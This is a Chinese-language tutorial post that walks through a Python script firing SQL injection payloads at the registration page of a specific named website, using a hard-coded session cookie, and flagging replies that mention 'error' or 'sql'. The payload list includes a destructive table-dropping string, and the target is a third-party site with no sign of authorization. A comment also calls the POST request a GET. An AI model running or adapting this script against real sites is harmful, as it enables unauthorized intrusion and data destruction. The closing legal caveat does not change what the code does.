代码说明

我们将目标 URL 设置为一个网站的注册页面,同时定义了一些通常的 SQL 注入负载。在脚本中,我们将对每个负载进行测试,看看是否能够成功注入,并捕获相应的异常。

1. 配置参数

首先,我们需要定义目标 URL 和初始查询参数。在这里,我们假设查询参数的名称为 name

python
1 2 3 4 5 6 7 8
import requests
from urllib.parse import urlencode

# 配置参数
url = 'http://gudaju.top/index/Login/register.html'  # 目标 URL
params = {
    'name': 'aaa'  # 正常情况下的查询参数
}

2. SQL 注入负载

我们定义了一些常见的 SQL 注入负载。它们的目的是通过不同的方式来尝试破坏数据库的正常逻辑。

python
1 2 3 4 5 6 7 8 9 10 11
# 常见的 SQL 注入负载
sql_injection_payloads = [
    "' OR '1'='1",  # 通用的布尔值注入
    "' OR '1'='1' -- ",  # 带注释的布尔值注入
    "'; DROP TABLE users; --",  # SQL 注入破坏性测试
    "' OR 1=1 --",  # 单引号注释
    '" OR 1=1 --',  # 双引号注释
    "' OR 'a'='a",  # 字符串布尔值注入
    "' OR 'a'='a' --",  # 带注释的字符串布尔值注入
    "' OR 'a'='a' #"  # 井号注释
]

3. 发送请求并检测响应

接下来,我们使用一个循环,对每个注入负载构建带有注入内容的参数,并发送请求。我们准备好查看HTTP响应的状态码和内容,以判断是否存在漏洞。

python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
# 发送请求并检查响应
for payload in sql_injection_payloads:
    # 构造带有 SQL 注入负载的参数
    injection_params = params.copy()
    injection_params['name'] = params['name'] + payload

    # 构造完整的 URL
    injection_url = f"{url}?{urlencode(injection_params)}"

    print(f"正在测试负载: {payload}")
    print(f"完整 URL: {injection_url}")

    try:
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
            'Cookie': 'PHPSESSID=4d2085664010d51af9a81238306f69a2'
        }
        # 发送 HTTP GET 请求
        response = requests.post(injection_url, headers=headers)

        # 打印响应的状态码和长度
        print(f"响应状态码: {response.status_code}")
        print(f"响应长度: {len(response.text)} 字符")
        print(f"响应内容: {response.text} 字符")

        # 检查响应内容中是否有常见的 SQL 错误信息
        if "error" in response.text.lower() or "sql" in response.text.lower():
            print("[!] 可能存在 SQL 注入漏洞!")
        else:
            print("[+] 没有检测到明显的 SQL 注入漏洞。")

        print("=" * 80)
    except Exception as e:
        print(f"测试过程中发生错误: {e}")

print("测试完成。")

4. 结果分析

每次发送请求后,程序将根据响应的状态码和返回内容来判断是否存在潜在的 SQL 注入漏洞。如果发现包含 "error" 或 "sql" 的信息,将提示可能的漏洞。

结语

这个脚本提供了一个基础的 SQL 注入检测机制。虽然它不能替代专业的安全测试工具,但对于理解SQL注入的原理有很大的帮助。在实际应用中,请务必遵循法律法规,尊重他人的隐私和资料安全。